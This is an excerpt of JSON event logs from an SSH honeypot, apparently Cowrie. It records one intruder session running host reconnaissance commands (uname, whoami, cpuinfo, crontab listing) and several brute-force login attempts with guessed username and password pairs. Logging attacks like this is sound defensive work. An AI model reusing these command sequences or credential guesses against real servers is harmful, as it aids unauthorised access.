{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:24.503619Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:24.779542Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:24.783514Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:25.208863Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:25.499602Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:25.503513Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:25.933638Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:26.209853Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:26.213815Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:26.638478Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:26.905745Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:26.909778Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:27.336734Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:27.609470Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:27.613250Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:28.041040Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:28.303050Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:28.306654Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:28.960879Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:29.235437Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:29.239572Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:29.666230Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:29.932601Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:29.936239Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:30.362415Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:30.630760Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:30.634114Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:31.058839Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:31.323965Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:31.328315Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"df -h","message":"Command not found: df -h","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:31.333877Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":29,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:31.551470Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:31.556571Z","src_ip":"103.107.60.45","session":"36e5c76d442c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":59338,"dst_ip":"10.17.0.5","dst_port":22,"session":"570d10bf3410","protocol":"ssh","message":"New connection: 43.156.170.155:59338 (10.17.0.5:22) [session: 570d10bf3410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:34.038075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:34.042516Z","src_ip":"43.156.170.155","session":"570d10bf3410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:34.281103Z","src_ip":"43.156.170.155","session":"570d10bf3410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:35.267553Z","src_ip":"43.156.170.155","session":"570d10bf3410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:10:36.509543Z","src_ip":"43.156.170.155","session":"570d10bf3410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42322,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7ea6bfe8f40","protocol":"ssh","message":"New connection: 103.153.68.219:42322 (10.17.0.5:22) [session: b7ea6bfe8f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:19.312499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:19.317504Z","src_ip":"103.153.68.219","session":"b7ea6bfe8f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:19.558117Z","src_ip":"103.153.68.219","session":"b7ea6bfe8f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soso123aljg","message":"login attempt [root/soso123aljg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:20.280715Z","src_ip":"103.153.68.219","session":"b7ea6bfe8f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:21.523497Z","src_ip":"103.153.68.219","session":"b7ea6bfe8f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":57860,"dst_ip":"10.17.0.5","dst_port":22,"session":"205a3c934782","protocol":"ssh","message":"New connection: 103.107.60.45:57860 (10.17.0.5:22) [session: 205a3c934782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:50.365811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:50.369211Z","src_ip":"103.107.60.45","session":"205a3c934782","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:50.582985Z","src_ip":"103.107.60.45","session":"205a3c934782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:51.471024Z","src_ip":"103.107.60.45","session":"205a3c934782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:11:52.688521Z","src_ip":"103.107.60.45","session":"205a3c934782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.26.161","src_port":45264,"dst_ip":"10.17.0.5","dst_port":22,"session":"666ccfe20583","protocol":"ssh","message":"New connection: 118.196.26.161:45264 (10.17.0.5:22) [session: 666ccfe20583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:05.885682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:05.891031Z","src_ip":"118.196.26.161","session":"666ccfe20583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:07.833261Z","src_ip":"118.196.26.161","session":"666ccfe20583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":52037,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdc222a1c5e8","protocol":"ssh","message":"New connection: 41.181.156.205:52037 (10.17.0.5:22) [session: fdc222a1c5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:47.137264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:12:47.141447Z","src_ip":"41.181.156.205","session":"fdc222a1c5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 